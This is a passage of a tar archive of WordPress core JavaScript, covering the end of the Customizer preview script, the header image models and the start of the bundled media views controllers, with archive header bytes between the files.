* * @since 4.7.0 * @access protected * * @param {HTMLFormElement} form Form. * @return {void} */ api.prepareFormPreview = function prepareFormPreview( form ) { var urlParser, stateParams = {}; if ( ! form.action ) { form.action = location.href; } urlParser = document.createElement( 'a' ); urlParser.href = form.action; // Make sure forms in preview use HTTPS if parent frame uses HTTPS. if ( api.settings.channel && 'https' === api.preview.scheme.get() && 'http:' === urlParser.protocol && -1 !== api.settings.url.allowedHosts.indexOf( urlParser.host ) ) { urlParser.protocol = 'https:'; form.action = urlParser.href; } if ( 'GET' !== form.method.toUpperCase() || ! api.isLinkPreviewable( urlParser ) ) { // Style form as unpreviewable only if previewing in iframe; if previewing on frontend, all forms will be allowed to work normally. if ( api.settings.channel ) { $( form ).addClass( 'customize-unpreviewable' ); } return; } $( form ).removeClass( 'customize-unpreviewable' ); stateParams.customize_changeset_uuid = api.settings.changeset.uuid; if ( api.settings.changeset.autosaved ) { stateParams.customize_autosaved = 'on'; } if ( ! api.settings.theme.active ) { stateParams.customize_theme = api.settings.theme.stylesheet; } if ( api.settings.channel ) { stateParams.customize_messenger_channel = api.settings.channel; } _.each( stateParams, function( value, name ) { var input = $( form ).find( 'input[name="' + name + '"]' ); if ( input.length ) { input.val( value ); } else { $( form ).prepend( $( '<input>', { type: 'hidden', name: name, value: value } ) ); } } ); // Prevent links from breaking out of preview iframe. if ( api.settings.channel ) { form.target = '_self'; } }; /** * Watch current URL and send keep-alive (heartbeat) messages to the parent. * * Keep the customizer pane notified that the preview is still alive * and that the user hasn't navigated to a non-customized URL. * * @since 4.7.0 * @access protected */ api.keepAliveCurrentUrl = ( function() { var previousPathName = location.pathname, previousQueryString = location.search.substr( 1 ), previousQueryParams = null, stateQueryParams = [ 'customize_theme', 'customize_changeset_uuid', 'customize_messenger_channel', 'customize_autosaved' ]; return function keepAliveCurrentUrl() { var urlParser, currentQueryParams; // Short-circuit with keep-alive if previous URL is identical (as is normal case). if ( previousQueryString === location.search.substr( 1 ) && previousPathName === location.pathname ) { api.preview.send( 'keep-alive' ); return; } urlParser = document.createElement( 'a' ); if ( null === previousQueryParams ) { urlParser.search = previousQueryString; previousQueryParams = api.utils.parseQueryString( previousQueryString ); _.each( stateQueryParams, function( name ) { delete previousQueryParams[ name ]; } ); } // Determine if current URL minus customized state params and URL hash. urlParser.href = location.href; currentQueryParams = api.utils.parseQueryString( urlParser.search.substr( 1 ) ); _.each( stateQueryParams, function( name ) { delete currentQueryParams[ name ]; } ); if ( previousPathName !== location.pathname || ! _.isEqual( previousQueryParams, currentQueryParams ) ) { urlParser.search = $.param( currentQueryParams ); urlParser.hash = ''; api.settings.url.self = urlParser.href; api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); } else { api.preview.send( 'keep-alive' ); } previousQueryParams = currentQueryParams; previousQueryString = location.search.substr( 1 ); previousPathName = location.pathname; }; } )(); api.settingPreviewHandlers = { /** * Preview changes to custom logo. * * @param {number} attachmentId Attachment ID for custom logo. * @return {void} */ custom_logo: function( attachmentId ) { $( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId ); }, /** * Preview changes to custom css. * * @param {string} value Custom CSS.. * @return {void} */ custom_css: function( value ) { $( '#wp-custom-css' ).text( value ); }, /** * Preview changes to any of the background settings. * * @return {void} */ background: function() { var css = '', settings = {}; _.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { settings[ prop ] = api( 'background_' + prop ); } ); /* * The body will support custom backgrounds if either the color or image are set. * * See get_body_class() in /wp-includes/post-template.php */ $( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) ); if ( settings.color() ) { css += 'background-color: ' + settings.color() + ';'; } if ( settings.image() ) { css += 'background-image: url("' + settings.image() + '");'; css += 'background-size: ' + settings.size() + ';'; css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';'; css += 'background-repeat: ' + settings.repeat() + ';'; css += 'background-attachment: ' + settings.attachment() + ';'; } $( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' ); } }; $( function() { var bg, setValue, handleUpdatedChangesetUuid; api.settings = window._wpCustomizeSettings; if ( ! api.settings ) { return; } api.preview = new api.Preview({ url: window.location.href, channel: api.settings.channel }); api.addLinkPreviewing(); api.addRequestPreviewing(); api.addFormPreviewing(); /** * Create/update a setting value. * * @param {string} id - Setting ID. * @param {*} value - Setting value. * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false. */ setValue = function( id, value, createDirty ) { var setting = api( id ); if ( setting ) { setting.set( value ); } else { createDirty = createDirty || false; setting = api.create( id, value, { id: id } ); // Mark dynamically-created settings as dirty so they will get posted. if ( createDirty ) { setting._dirty = true; } } }; api.preview.bind( 'settings', function( values ) { $.each( values, setValue ); }); api.preview.trigger( 'settings', api.settings.values ); $.each( api.settings._dirty, function( i, id ) { var setting = api( id ); if ( setting ) { setting._dirty = true; } } ); api.preview.bind( 'setting', function( args ) { var createDirty = true; setValue.apply( null, args.concat( createDirty ) ); }); api.preview.bind( 'sync', function( events ) { /* * Delete any settings that already exist locally which haven't been * modified in the controls while the preview was loading. This prevents * situations where the JS value being synced from the pane may differ * from the PHP-sanitized JS value in the preview which causes the * non-sanitized JS value to clobber the PHP-sanitized value. This * is particularly important for selective refresh partials that * have a fallback refresh behavior since infinite refreshing would * result. */ if ( events.settings && events['settings-modified-while-loading'] ) { _.each( _.keys( events.settings ), function( syncedSettingId ) { if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) { delete events.settings[ syncedSettingId ]; } } ); } $.each( events, function( event, args ) { api.preview.trigger( event, args ); }); api.preview.send( 'synced' ); }); api.preview.bind( 'active', function() { api.preview.send( 'nonce', api.settings.nonce ); api.preview.send( 'documentTitle', document.title ); // Send scroll in case of loading via non-refresh. api.preview.send( 'scroll', $( window ).scrollTop() ); }); /** * Handle update to changeset UUID. * * @param {string} uuid - UUID. * @return {void} */ handleUpdatedChangesetUuid = function( uuid ) { api.settings.changeset.uuid = uuid; // Update UUIDs in links and forms. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); /* * Replace the UUID in the URL. Note that the wrapped history.replaceState() * will handle injecting the current api.settings.changeset.uuid into the URL, * so this is merely to trigger that logic. */ if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } }; api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid ); api.preview.bind( 'saved', function( response ) { if ( response.next_changeset_uuid ) { handleUpdatedChangesetUuid( response.next_changeset_uuid ); } api.trigger( 'saved', response ); } ); // Update the URLs to reflect the fact we've started autosaving. api.preview.bind( 'autosaving', function() { if ( api.settings.changeset.autosaved ) { return; } api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated. $( document.body ).find( 'a[href], area[href]' ).each( function() { api.prepareLinkPreview( this ); } ); $( document.body ).find( 'form' ).each( function() { api.prepareFormPreview( this ); } ); if ( history.replaceState ) { history.replaceState( currentHistoryState, '', location.href ); } } ); /* * Clear dirty flag for settings when saved to changeset so that they * won't be needlessly included in selective refresh or ajax requests. */ api.preview.bind( 'changeset-saved', function( data ) { _.each( data.saved_changeset_values, function( value, settingId ) { var setting = api( settingId ); if ( setting && _.isEqual( setting.get(), value ) ) { setting._dirty = false; } } ); } ); api.preview.bind( 'nonce-refresh', function( nonce ) { $.extend( api.settings.nonce, nonce ); } ); /* * Send a message to the parent customize frame with a list of which * containers and controls are active. */ api.preview.send( 'ready', { currentUrl: api.settings.url.self, activePanels: api.settings.activePanels, activeSections: api.settings.activeSections, activeControls: api.settings.activeControls, settingValidities: api.settings.settingValidities } ); // Send ready when URL changes via JS. setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend ); // Display a loading indicator when preview is reloading, and remove on failure. api.preview.bind( 'loading-initiated', function () { $( 'body' ).addClass( 'wp-customizer-unloading' ); }); api.preview.bind( 'loading-failed', function () { $( 'body' ).removeClass( 'wp-customizer-unloading' ); }); /* Custom Backgrounds */ bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) { return 'background_' + prop; } ); api.when.apply( api, bg ).done( function() { $.each( arguments, function() { this.bind( api.settingPreviewHandlers.background ); }); }); /** * Custom Logo * * Toggle the wp-custom-logo body class when a logo is added or removed. * * @since 4.5.0 */ api( 'custom_logo', function ( setting ) { api.settingPreviewHandlers.custom_logo.call( setting, setting.get() ); setting.bind( api.settingPreviewHandlers.custom_logo ); } ); api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) { setting.bind( api.settingPreviewHandlers.custom_css ); } ); api.trigger( 'preview-ready' ); }); })( wp, jQuery ); ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/customize-models.js������������������������������������������������������������������������������0000644�����������������00000015245�14717703502�0011036 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/** * @output wp-includes/js/customize-models.js */ /* global _wpCustomizeHeader */ (function( $, wp ) { var api = wp.customize; /** @namespace wp.customize.HeaderTool */ api.HeaderTool = {}; /** * wp.customize.HeaderTool.ImageModel * * A header image. This is where saves via the Customizer API are * abstracted away, plus our own Ajax calls to add images to and remove * images from the user's recently uploaded images setting on the server. * These calls are made regardless of whether the user actually saves new * Customizer settings. * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ImageModel * * @constructor * @augments Backbone.Model */ api.HeaderTool.ImageModel = Backbone.Model.extend(/** @lends wp.customize.HeaderTool.ImageModel.prototype */{ defaults: function() { return { header: { attachment_id: 0, url: '', timestamp: _.now(), thumbnail_url: '' }, choice: '', selected: false, random: false }; }, initialize: function() { this.on('hide', this.hide, this); }, hide: function() { this.set('choice', ''); api('header_image').set('remove-header'); api('header_image_data').set('remove-header'); }, destroy: function() { var data = this.get('header'), curr = api.HeaderTool.currentHeader.get('header').attachment_id; // If the image we're removing is also the current header, // unset the latter. if (curr && data.attachment_id === curr) { api.HeaderTool.currentHeader.trigger('hide'); } wp.ajax.post( 'custom-header-remove', { nonce: _wpCustomizeHeader.nonces.remove, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id }); this.trigger('destroy', this, this.collection); }, save: function() { if (this.get('random')) { api('header_image').set(this.get('header').random); api('header_image_data').set(this.get('header').random); } else { if (this.get('header').defaultName) { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header').defaultName); } else { api('header_image').set(this.get('header').url); api('header_image_data').set(this.get('header')); } } api.HeaderTool.combinedList.trigger('control:setImage', this); }, importImage: function() { var data = this.get('header'); if (data.attachment_id === undefined) { return; } wp.ajax.post( 'custom-header-add', { nonce: _wpCustomizeHeader.nonces.add, wp_customize: 'on', theme: api.settings.theme.stylesheet, attachment_id: data.attachment_id } ); }, shouldBeCropped: function() { if (this.get('themeFlexWidth') === true && this.get('themeFlexHeight') === true) { return false; } if (this.get('themeFlexWidth') === true && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('themeFlexHeight') === true && this.get('themeWidth') === this.get('imageWidth')) { return false; } if (this.get('themeWidth') === this.get('imageWidth') && this.get('themeHeight') === this.get('imageHeight')) { return false; } if (this.get('imageWidth') <= this.get('themeWidth')) { return false; } return true; } }); /** * wp.customize.HeaderTool.ChoiceList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.ChoiceList * * @constructor * @augments Backbone.Collection */ api.HeaderTool.ChoiceList = Backbone.Collection.extend({ model: api.HeaderTool.ImageModel, // Ordered from most recently used to least. comparator: function(model) { return -model.get('header').timestamp; }, initialize: function() { var current = api.HeaderTool.currentHeader.get('choice').replace(/^https?:\/\//, ''), isRandom = this.isRandomChoice(api.get().header_image); // Overridable by an extending class. if (!this.type) { this.type = 'uploaded'; } // Overridable by an extending class. if (typeof this.data === 'undefined') { this.data = _wpCustomizeHeader.uploads; } if (isRandom) { // So that when adding data we don't hide regular images. current = api.get().header_image; } this.on('control:setImage', this.setImage, this); this.on('control:removeImage', this.removeImage, this); this.on('add', this.maybeRemoveOldCrop, this); this.on('add', this.maybeAddRandomChoice, this); _.each(this.data, function(elt, index) { if (!elt.attachment_id) { elt.defaultName = index; } if (typeof elt.timestamp === 'undefined') { elt.timestamp = 0; } this.add({ header: elt, choice: elt.url.split('/').pop(), selected: current === elt.url.replace(/^https?:\/\//, '') }, { silent: true }); }, this); if (this.size() > 0) { this.addRandomChoice(current); } }, maybeRemoveOldCrop: function( model ) { var newID = model.get( 'header' ).attachment_id || false, oldCrop; // Bail early if we don't have a new attachment ID. if ( ! newID ) { return; } oldCrop = this.find( function( item ) { return ( item.cid !== model.cid && item.get( 'header' ).attachment_id === newID ); } ); // If we found an old crop, remove it from the collection. if ( oldCrop ) { this.remove( oldCrop ); } }, maybeAddRandomChoice: function() { if (this.size() === 1) { this.addRandomChoice(); } }, addRandomChoice: function(initialChoice) { var isRandomSameType = RegExp(this.type).test(initialChoice), randomChoice = 'random-' + this.type + '-image'; this.add({ header: { timestamp: 0, random: randomChoice, width: 245, height: 41 }, choice: randomChoice, random: true, selected: isRandomSameType }); }, isRandomChoice: function(choice) { return (/^random-(uploaded|default)-image$/).test(choice); }, shouldHideTitle: function() { return this.size() < 2; }, setImage: function(model) { this.each(function(m) { m.set('selected', false); }); if (model) { model.set('selected', true); } }, removeImage: function() { this.each(function(m) { m.set('selected', false); }); } }); /** * wp.customize.HeaderTool.DefaultsList * * @memberOf wp.customize.HeaderTool * @alias wp.customize.HeaderTool.DefaultsList * * @constructor * @augments wp.customize.HeaderTool.ChoiceList * @augments Backbone.Collection */ api.HeaderTool.DefaultsList = api.HeaderTool.ChoiceList.extend({ initialize: function() { this.type = 'default'; this.data = _wpCustomizeHeader.defaults; api.HeaderTool.ChoiceList.prototype.initialize.apply(this); } }); })( jQuery, window.wp ); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/media-views.js�����������������������������������������������������������������������������������0000644�����������������00001021654�14717703502�0007747 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/******/ (function() { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 1517: /***/ (function(module) { var Selection = wp.media.model.Selection, Library = wp.media.controller.Library, CollectionAdd; /** * wp.media.controller.CollectionAdd * * A state for adding attachments to a collection (e.g. video playlist). * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} [attributes.id=library] Unique identifier. * @param {string} attributes.title Title for the state. Displays in the frame's title region. * @param {boolean} [attributes.multiple=add] Whether multi-select is enabled. @todo 'add' doesn't seem do anything special, and gets used as a boolean. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to browse. * If one is not supplied, a collection of attachments of the specified type will be created. * @param {boolean|string} [attributes.filterable=uploaded] Whether the library is filterable, and if so what filters should be shown. * Accepts 'all', 'uploaded', or 'unattached'. * @param {string} [attributes.menu=gallery] Initial mode for the menu region. * @param {string} [attributes.content=upload] Initial mode for the content region. * Overridden by persistent user setting if 'contentUserSetting' is true. * @param {string} [attributes.router=browse] Initial mode for the router region. * @param {string} [attributes.toolbar=gallery-add] Initial mode for the toolbar region. * @param {boolean} [attributes.searchable=true] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.autoSelect=true] Whether an uploaded attachment should be automatically added to the selection. * @param {boolean} [attributes.contentUserSetting=true] Whether the content region's mode should be set and persisted per user. * @param {int} [attributes.priority=100] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false because for this state, because the library of the Edit Gallery state is the selection. * @param {string} attributes.type The collection's media type. (e.g. 'video'). * @param {string} attributes.collectionType The collection type. (e.g. 'playlist'). */ CollectionAdd = Library.extend(/** @lends wp.media.controller.CollectionAdd.prototype */{ defaults: _.defaults( { // Selection defaults. @see media.model.Selection multiple: 'add', // Attachments browser defaults. @see media.view.AttachmentsBrowser filterable: 'uploaded', priority: 100, syncSelection: false }, Library.prototype.defaults ), /** * @since 3.9.0 */ initialize: function() { var collectionType = this.get('collectionType'); if ( 'video' === this.get( 'type' ) ) { collectionType = 'video-' + collectionType; } this.set( 'id', collectionType + '-library' ); this.set( 'toolbar', collectionType + '-add' ); this.set( 'menu', collectionType ); // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', wp.media.query({ type: this.get('type') }) ); } Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { var library = this.get('library'), editLibrary = this.get('editLibrary'), edit = this.frame.state( this.get('collectionType') + '-edit' ).get('library'); if ( editLibrary && editLibrary !== edit ) { library.unobserve( editLibrary ); } // Accepts attachments that exist in the original library and // that do not exist in gallery's library. library.validator = function( attachment ) { return !! this.mirroring.get( attachment.cid ) && ! edit.get( attachment.cid ) && Selection.prototype.validator.apply( this, arguments ); }; /* * Reset the library to ensure that all attachments are re-added * to the collection. Do so silently, as calling `observe` will * trigger the `reset` event. */ library.reset( library.mirroring.models, { silent: true }); library.observe( edit ); this.set('editLibrary', edit); Library.prototype.activate.apply( this, arguments ); } }); module.exports = CollectionAdd; /***/ }), /***/ 1817: /***/ (function(module) { var Library = wp.media.controller.Library, l10n = wp.media.view.l10n, $ = jQuery, CollectionEdit; /** * wp.media.controller.CollectionEdit * * A state for editing a collection, which is used by audio and video playlists, * and can be used for other collections. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.Library * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} [attributes] The attributes hash passed to the state. * @param {string} attributes.title Title for the state. Displays in the media menu and the frame's title region. * @param {wp.media.model.Attachments} [attributes.library] The attachments collection to edit. * If one is not supplied, an empty media.model.Selection collection is created. * @param {boolean} [attributes.multiple=false] Whether multi-select is enabled. * @param {string} [attributes.content=browse] Initial mode for the content region. * @param {string} attributes.menu Initial mode for the menu region. @todo this needs a better explanation. * @param {boolean} [attributes.searchable=false] Whether the library is searchable. * @param {boolean} [attributes.sortable=true] Whether the Attachments should be sortable. Depends on the orderby property being set to menuOrder on the attachments collection. * @param {boolean} [attributes.date=true] Whether to show the date filter in the browser's toolbar. * @param {boolean} [attributes.describe=true] Whether to offer UI to describe the attachments - e.g. captioning images in a gallery. * @param {boolean} [attributes.dragInfo=true] Whether to show instructional text about the attachments being sortable. * @param {boolean} [attributes.dragInfoText] Instructional text about the attachments being sortable. * @param {int} [attributes.idealColumnWidth=170] The ideal column width in pixels for attachments. * @param {boolean} [attributes.editing=false] Whether the gallery is being created, or editing an existing instance. * @param {int} [attributes.priority=60] The priority for the state link in the media menu. * @param {boolean} [attributes.syncSelection=false] Whether the Attachments selection should be persisted from the last state. * Defaults to false for this state, because the library passed in *is* the selection. * @param {view} [attributes.SettingsView] The view to edit the collection instance settings (e.g. Playlist settings with "Show tracklist" checkbox). * @param {view} [attributes.AttachmentView] The single `Attachment` view to be used in the `Attachments`. * If none supplied, defaults to wp.media.view.Attachment.EditLibrary. * @param {string} attributes.type The collection's media type. (e.g. 'video'). * @param {string} attributes.collectionType The collection type. (e.g. 'playlist'). */ CollectionEdit = Library.extend(/** @lends wp.media.controller.CollectionEdit.prototype */{ defaults: { multiple: false, sortable: true, date: false, searchable: false, content: 'browse', describe: true, dragInfo: true, idealColumnWidth: 170, editing: false, priority: 60, SettingsView: false, syncSelection: false }, /** * @since 3.9.0 */ initialize: function() { var collectionType = this.get('collectionType'); if ( 'video' === this.get( 'type' ) ) { collectionType = 'video-' + collectionType; } this.set( 'id', collectionType + '-edit' ); this.set( 'toolbar', collectionType + '-edit' ); // If we haven't been provided a `library`, create a `Selection`. if ( ! this.get('library') ) { this.set( 'library', new wp.media.model.Selection() ); } // The single `Attachment` view to be used in the `Attachments` view. if ( ! this.get('AttachmentView') ) { this.set( 'AttachmentView', wp.media.view.Attachment.EditLibrary ); } Library.prototype.initialize.apply( this, arguments ); }, /** * @since 3.9.0 */ activate: function() { var library = this.get('library'); // Limit the library to images only. library.props.set( 'type', this.get( 'type' ) ); // Watch for uploaded attachments. this.get('library').observe( wp.Uploader.queue ); this.frame.on( 'content:render:browse', this.renderSettings, this ); Library.prototype.activate.apply( this, arguments ); }, /** * @since 3.9.0 */ deactivate: function() { // Stop watching for uploaded attachments. this.get('library').unobserve( wp.Uploader.queue ); this.frame.off( 'content:render:browse', this.renderSettings, this ); Library.prototype.deactivate.apply( this, arguments ); }, /** * Render the collection embed settings view in the browser sidebar. * * @todo This is against the pattern elsewhere in media. Typically the frame * is responsible for adding region mode callbacks. Explain. * * @since 3.9.0 * * @param {wp.media.view.attachmentsBrowser} The attachments browser view. */ renderSettings: function( attachmentsBrowserView ) { var library = this.get('library'), collectionType = this.get('collectionType'), dragInfoText = this.get('dragInfoText'), SettingsView = this.get('SettingsView'), obj = {}; if ( ! library || ! attachmentsBrowserView ) { return; } library[ collectionType ] = library[ collectionType ] || new Backbone.Model(); obj[ collectionType ] = new SettingsView({ controller: this, model: library[ collectionType ], priority: 40 }); attachmentsBrowserView.sidebar.set( obj ); if ( dragInfoText ) { attachmentsBrowserView.toolbar.set( 'dragInfo', new wp.media.View({ el: $( '<div class="instructions">' + dragInfoText + '</div>' )[0], priority: -40 }) ); } // Add the 'Reverse order' button to the toolbar. attachmentsBrowserView.toolbar.set( 'reverse', { text: l10n.reverseOrder, priority: 80, click: function() { library.reset( library.toArray().reverse() ); } }); } }); module.exports = CollectionEdit; /***/ }), /***/ 2288: /***/ (function(module) { var l10n = wp.media.view.l10n, Cropper; /** * wp.media.controller.Cropper * * A class for cropping an image when called from the header media customization panel. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ Cropper = wp.media.controller.State.extend(/** @lends wp.media.controller.Cropper.prototype */{ defaults: { id: 'cropper', title: l10n.cropImage, // Region mode defaults. toolbar: 'crop', content: 'crop', router: false, canSkipCrop: false, // Default doCrop Ajax arguments to allow the Customizer (for example) to inject state. doCropArgs: {} }, /** * Shows the crop image window when called from the Add new image button. * * @since 4.2.0 * * @return {void} */ activate: function() { this.frame.on( 'content:create:crop', this.createCropContent, this ); this.frame.on( 'close', this.removeCropper, this ); this.set('selection', new Backbone.Collection(this.frame._selection.single)); }, /** * Changes the state of the toolbar window to browse mode. * * @since 4.2.0 * * @return {void} */ deactivate: function() { this.frame.toolbar.mode('browse'); }, /** * Creates the crop image window. * * Initialized when clicking on the Select and Crop button. * * @since 4.2.0 * * @fires crop window * * @return {void} */ createCropContent: function() { this.cropperView = new wp.media.view.Cropper({ controller: this, attachment: this.get('selection').first() }); this.cropperView.on('image-loaded', this.createCropToolbar, this); this.frame.content.set(this.cropperView); }, /** * Removes the image selection and closes the cropping window. * * @since 4.2.0 * * @return {void} */ removeCropper: function() { this.imgSelect.cancelSelection(); this.imgSelect.setOptions({remove: true}); this.imgSelect.update(); this.cropperView.remove(); }, /** * Checks if cropping can be skipped and creates crop toolbar accordingly. * * @since 4.2.0 * * @return {void} */ createCropToolbar: function() { var canSkipCrop, toolbarOptions; canSkipCrop = this.get('canSkipCrop') || false; toolbarOptions = { controller: this.frame, items: { insert: { style: 'primary', text: l10n.cropImage, priority: 80, requires: { library: false, selection: false }, click: function() { var controller = this.controller, selection; selection = controller.state().get('selection').first(); selection.set({cropDetails: controller.state().imgSelect.getSelection()}); this.$el.text(l10n.cropping); this.$el.attr('disabled', true); controller.state().doCrop( selection ).done( function( croppedImage ) { controller.trigger('cropped', croppedImage ); controller.close(); }).fail( function() { controller.trigger('content:error:crop'); }); } } } }; if ( canSkipCrop ) { _.extend( toolbarOptions.items, { skip: { style: 'secondary', text: l10n.skipCropping, priority: 70, requires: { library: false, selection: false }, click: function() { var selection = this.controller.state().get('selection').first(); this.controller.state().cropperView.remove(); this.controller.trigger('skippedcrop', selection); this.controller.close(); } } }); } this.frame.toolbar.set( new wp.media.view.Toolbar(toolbarOptions) ); }, /** * Creates an object with the image attachment and crop properties. * * @since 4.2.0 * * @return {$.promise} A jQuery promise with the custom header crop details. */ doCrop: function( attachment ) { return wp.ajax.post( 'custom-header-crop', _.extend( {}, this.defaults.doCropArgs, { nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), cropDetails: attachment.get( 'cropDetails' ) } ) ); } }); module.exports = Cropper; /***/ }), /***/ 6934: /***/ (function(module) { var Controller = wp.media.controller, CustomizeImageCropper; /** * A state for cropping an image in the customizer. * * @since 4.3.0 * * @constructs wp.media.controller.CustomizeImageCropper * @memberOf wp.media.controller * @augments wp.media.controller.CustomizeImageCropper.Cropper * @inheritDoc */ CustomizeImageCropper = Controller.Cropper.extend(/** @lends wp.media.controller.CustomizeImageCropper.prototype */{ /** * Posts the crop details to the admin. * * Uses crop measurements when flexible in both directions. * Constrains flexible side based on image ratio and size of the fixed side. * * @since 4.3.0 * * @param {Object} attachment The attachment to crop. * * @return {$.promise} A jQuery promise that represents the crop image request. */ doCrop: function( attachment ) { var cropDetails = attachment.get( 'cropDetails' ), control = this.get( 'control' ), ratio = cropDetails.width / cropDetails.height; // Use crop measurements when flexible in both directions. if ( control.params.flex_width && control.params.flex_height ) { cropDetails.dst_width = cropDetails.width; cropDetails.dst_height = cropDetails.height; // Constrain flexible side based on image ratio and size of the fixed side. } else { cropDetails.dst_width = control.params.flex_width ? control.params.height * ratio : control.params.width; cropDetails.dst_height = control.params.flex_height ? control.params.width / ratio : control.params.height; } return wp.ajax.post( 'crop-image', { wp_customize: 'on', nonce: attachment.get( 'nonces' ).edit, id: attachment.get( 'id' ), context: control.id, cropDetails: cropDetails } ); } }); module.exports = CustomizeImageCropper; /***/ }), /***/ 7658: /***/ (function(module) { var l10n = wp.media.view.l10n, EditImage; /** * wp.media.controller.EditImage * * A state for editing (cropping, etc.) an image. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} attributes The attributes hash passed to the state. * @param {wp.media.model.Attachment} attributes.model The attachment. * @param {string} [attributes.id=edit-image] Unique identifier. * @param {string} [attributes.title=Edit Image] Title for the state. Displays in the media menu and the frame's title region. * @param {string} [attributes.content=edit-image] Initial mode for the content region. * @param {string} [attributes.toolbar=edit-image] Initial mode for the toolbar region. * @param {string} [attributes.menu=false] Initial mode for the menu region. * @param {string} [attributes.url] Unused. @todo Consider removal. */ EditImage = wp.media.controller.State.extend(/** @lends wp.media.controller.EditImage.prototype */{ defaults: { id: 'edit-image', title: l10n.editImage, menu: false, toolbar: 'edit-image', content: 'edit-image', url: '' }, /** * Activates a frame for editing a featured image. * * @since 3.9.0 * * @return {void} */ activate: function() { this.frame.on( 'toolbar:render:edit-image', _.bind( this.toolbar, this ) ); }, /** * Deactivates a frame for editing a featured image. * * @since 3.9.0 * * @return {void} */ deactivate: function() { this.frame.off( 'toolbar:render:edit-image' ); }, /** * Adds a toolbar with a back button. * * When the back button is pressed it checks whether there is a previous state. * In case there is a previous state it sets that previous state otherwise it * closes the frame. * * @since 3.9.0 * * @return {void} */ toolbar: function() { var frame = this.frame, lastState = frame.lastState(), previous = lastState && lastState.id; frame.toolbar.set( new wp.media.view.Toolbar({ controller: frame, items: { back: { style: 'primary', text: l10n.back, priority: 20, click: function() { if ( previous ) { frame.setState( previous ); } else { frame.close(); } } } } }) ); } }); module.exports = EditImage; /***/ }), /***/ 9067: /***/ (function(module) { var l10n = wp.media.view.l10n, $ = Backbone.$, Embed; /** * wp.media.controller.Embed * * A state for embedding media from a URL. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model * * @param {object} attributes The attributes hash passed to the state. * @param {string} [attributes.id=embed] Unique identifier. * @param {string} [attributes.title=Insert From URL] Title for the state. Displays in the media menu and the frame's title region. * @param {string} [attributes.content=embed] Initial mode for the content region. * @param {string} [attributes.menu=default] Initial mode for the menu region. * @param {string} [attributes.toolbar=main-embed] Initial mode for the toolbar region. * @param {string} [attributes.menu=false] Initial mode for the menu region. * @param {int} [attributes.priority=120] The priority for the state link in the media menu. * @param {string} [attributes.type=link] The type of embed. Currently only link is supported. * @param {string} [attributes.url] The embed URL. * @param {object} [attributes.metadata={}] Properties of the embed, which will override attributes.url if set. */ Embed = wp.media.controller.State.extend(/** @lends wp.media.controller.Embed.prototype */{ defaults: { id: 'embed', title: l10n.insertFromUrlTitle, content: 'embed', menu: 'default', toolbar: 'main-embed', priority: 120, type: 'link', url: '', metadata: {} }, // The amount of time used when debouncing the scan. sensitivity: 400, initialize: function(options) { this.metadata = options.metadata; this.debouncedScan = _.debounce( _.bind( this.scan, this ), this.sensitivity ); this.props = new Backbone.Model( this.metadata || { url: '' }); this.props.on( 'change:url', this.debouncedScan, this ); this.props.on( 'change:url', this.refresh, this ); this.on( 'scan', this.scanImage, this ); }, /** * Trigger a scan of the embedded URL's content for metadata required to embed. * * @fires wp.media.controller.Embed#scan */ scan: function() { var scanners, embed = this, attributes = { type: 'link', scanners: [] }; /* * Scan is triggered with the list of `attributes` to set on the * state, useful for the 'type' attribute and 'scanners' attribute, * an array of promise objects for asynchronous scan operations. */ if ( this.props.get('url') ) { this.trigger( 'scan', attributes ); } if ( attributes.scanners.length ) { scanners = attributes.scanners = $.when.apply( $, attributes.scanners ); scanners.always( function() { if ( embed.get('scanners') 